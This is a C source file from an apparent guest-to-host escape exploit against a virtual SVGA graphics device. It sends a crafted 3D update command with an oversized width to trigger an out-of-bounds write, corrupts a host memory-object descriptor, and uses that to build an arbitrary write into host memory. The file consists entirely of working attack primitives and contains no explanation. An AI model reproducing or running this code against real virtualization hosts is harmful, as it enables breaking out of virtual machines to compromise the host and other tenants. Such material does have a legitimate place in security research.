#include "write_primitives.h"
#include "common_primitives.h"
#include "defs.h"
#include "read_primitives.h"

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <unistd.h>


int write_to_transfer_buffer(struct exploit_context *ctx, void* buf, uint64_t size) {
	int fd = open_virtpwn_dev();
	if (fd < 0) {
		return -1;
	}
	struct vgapwn_copy copy_args;
	copy_args.size = size;
	copy_args.src_addr = (uint64_t)buf;
	copy_args.dst_addr = ctx->virt_addr;

	if (ioctl(fd, VGAPWN_COPY, &copy_args) < 0) {
		perror("vgapwn ioctl");
		printf("[-] failed to transfer data to buffer\n");
		close(fd);
		return -1;
	}
	close(fd);
	return 0;
}

int trigger_write_oob(uint32_t surface_id, uint32_t oob_size) {
	int fd = open_virtpwn_dev();
	if (fd < 0) {
		return -1;
	}
	
	SVGA3dCmdHeader header;

	header.id = 1182;
	header.size = sizeof(SVGA3dCmdDXUpdateSubResource);
	uint64_t total_size = sizeof(SVGA3dCmdHeader) + header.size;
	uint8_t* cmd = (uint8_t*)malloc(total_size);
	uint8_t* ptr = cmd;
	memcpy(ptr, &header, header_size);
	ptr += header_size;

	SVGA3dCmdDXUpdateSubResource *update_sub_resource_cmd = (SVGA3dCmdDXUpdateSubResource*)ptr;
	memset(update_sub_resource_cmd, 0x00, sizeof(SVGA3dCmdDXUpdateSubResource));
	update_sub_resource_cmd->sid = surface_id;
	update_sub_resource_cmd->box.w = oob_size;
	update_sub_resource_cmd->box.h = 0x1;
	update_sub_resource_cmd->box.d = 0x1;

	if (write(fd, cmd, total_size) == -1) {
		perror("[-] Error writing to device");
		close(fd);
		exit(1);
	}

	close(fd);
	free(cmd);
	return 0;

}

int corrupt_host_gmob(struct exploit_context *ctx) {
	uint32_t writing_mob = 0xb;
	int rc = write_to_transfer_buffer(ctx, ctx->corrupted_mob_buffer, ctx->corrupt_size);
	if (rc != 0) 
		return -1;
	rc = define_gmob(writing_mob, ctx->phys_addr, ctx->corrupt_size);
	if (rc != 0) 
		return -1;
	rc = bind_surface(ctx->groomed_surface, writing_mob);
	if (rc != 0) 
		return -1;
	rc = trigger_write_oob(ctx->groomed_surface, ctx->corrupt_size);	
	if (rc != 0) 
		return -1;
	destroy_gmob(writing_mob);
	return 0;
}

int arbitrary_write(struct exploit_context* ctx, uint64_t addr, uint8_t *contents, uint32_t size) {
	ctx->corrupted_mob->Gbo.pvHost = (void*)addr;
	ctx->corrupted_mob->Gbo.fGboFlags = 0x2;
	ctx->corrupted_mob->Gbo.cbTotal = size;	
	int rc = corrupt_host_gmob(ctx);	
	if (rc != 0) 
		return -1;
	
	sleep(1);
	write_to_transfer_buffer(ctx, contents, size);
	printf("[.] Triggering arbitrary write\n");
	rc = grow_co_table(ctx->context_id, ctx->corrupted_mob->Core.Key, ctx->mob_type, size);
	if (rc != 0) 
		return -1;
	printf("[.] sleeping 1 second\n");
	sleep(1);
	rc = read_from_transfer_buffer(ctx, contents, size);
	if (rc != 0) 
		return -1;
	return 0;
}
